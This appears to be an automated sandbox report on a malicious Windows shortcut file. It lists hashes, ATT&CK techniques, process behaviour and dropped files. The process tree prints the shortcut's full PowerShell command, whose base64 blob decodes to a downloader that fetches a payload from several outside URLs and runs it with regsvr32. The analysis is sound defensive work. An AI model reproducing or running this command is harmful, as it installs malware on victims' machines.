81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf

General

Target

81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf.lnk
Size

2KB
MD5

5d4fce0c3008b1e2605cfb20abab03b6
SHA1

f565d7bc92f1a1ae54ac5be17fbc67874af04c45
SHA256

81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf
SHA512

abd0975f11a69330b8a41c78e826b3891040824bcfd6a09f50f0ead5181d15b874063842fcb407330f5c902322027614e4b849231aa9ec049e7480f643b68fd1

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
11	1748	powershell.exe
15	1748	powershell.exe
26	1748	powershell.exe
28	1748	powershell.exe
30	1748	powershell.exe
32	1748	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4508	powershell.exe
1748	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4508	powershell.exe
4508	powershell.exe
1748	powershell.exe
1748	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	1748	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 4508	848	cmd.exe	84
PID 848 wrote to memory of 4508	848	cmd.exe	84
PID 4508 wrote to memory of 1748	4508	powershell.exe	86
PID 4508 wrote to memory of 1748	4508	powershell.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\81a6b554d6ec557f4fc51e144655e03df9303424c9a0c19c0567b5974b7f5adf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "2022-04-26_1602.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2ZvY3VzbWVkaWNhLmluL2ZtbGliL0l4QkFCTWgwSTJjTE0zcXExR1Z2LyIsImh0dHA6Ly9kZW1vMzQuY2tnLmhrL3NlcnZpY2UvaGhNWnJmQzdNbm05SkQvIiwiaHR0cDovL2NvbGVnaW91bmFtdW5vLmVzL2NnaS1iaW4vRS8iLCJodHRwOi8vY2lwcm8ubXgvcHJlbnNhL3NpWlA2OXJCRm1pYkR2dVRQMUwvIiwiaHR0cDovL2ZpbG1tb2d6aXZvdGEucnMvU3ByeUFzc2V0cy9nRFIvIiwiaHR0cHM6Ly9jcmVlbW8ucGwvd3AtYWRtaW4vWktTMURjZHF1VVQ0QmI4S2IvIik7Zm9yZWFjaCAoJHUgaW4gJGxpbmtzKSB7dHJ5IHtJV1IgJHUgLU91dEZpbGUgJGVudjpURU1QL0dNT1dEVFJmSUoueHRxO1JlZ3N2cjMyLmV4ZSAkZW52OlRFTVAvR01PV0RUUmZJSi54dHE7YnJlYWt9IGNhdGNoIHsgfX0=')) > "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1" ; powershell -executionpolicy bypass -file "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1"; Remove-Item "C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_txi5fl4f.mxg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ezMgZunnfF.ps1

Filesize
898B

MD5
3f6b9a3c25a96dac461257368b47ec82

SHA1
d14a5d0fd3f7565796ac3dec993c68a77793fa6e

SHA256
e1388abcfea4474662917ee606c959651d8d9f54a67b6fd89643d06ec25a0f50

SHA512
59803aa3398e6cb5370d3e620c2bd0f12b314561bd3a95676eab8148c447828343b3fb192d58605eb2b1a7959b0c473fac8062743b7d262795baef3868542235

Download Submit
memory/1748-26-0x0000020DFBA80000-0x0000020DFC226000-memory.dmp

Filesize
7.6MB

Download
memory/4508-2-0x00007FFA24213000-0x00007FFA24215000-memory.dmp

Filesize
8KB

Download
memory/4508-3-0x000001FEA2BA0000-0x000001FEA2BC2000-memory.dmp

Filesize
136KB

Download
memory/4508-13-0x00007FFA24210000-0x00007FFA24CD1000-memory.dmp

Filesize
10.8MB

Download
memory/4508-14-0x00007FFA24210000-0x00007FFA24CD1000-memory.dmp

Filesize
10.8MB

Download
memory/4508-28-0x00007FFA24213000-0x00007FFA24215000-memory.dmp

Filesize
8KB

Download
memory/4508-29-0x00007FFA24210000-0x00007FFA24CD1000-memory.dmp

Filesize
10.8MB

Download
memory/4508-35-0x00007FFA24210000-0x00007FFA24CD1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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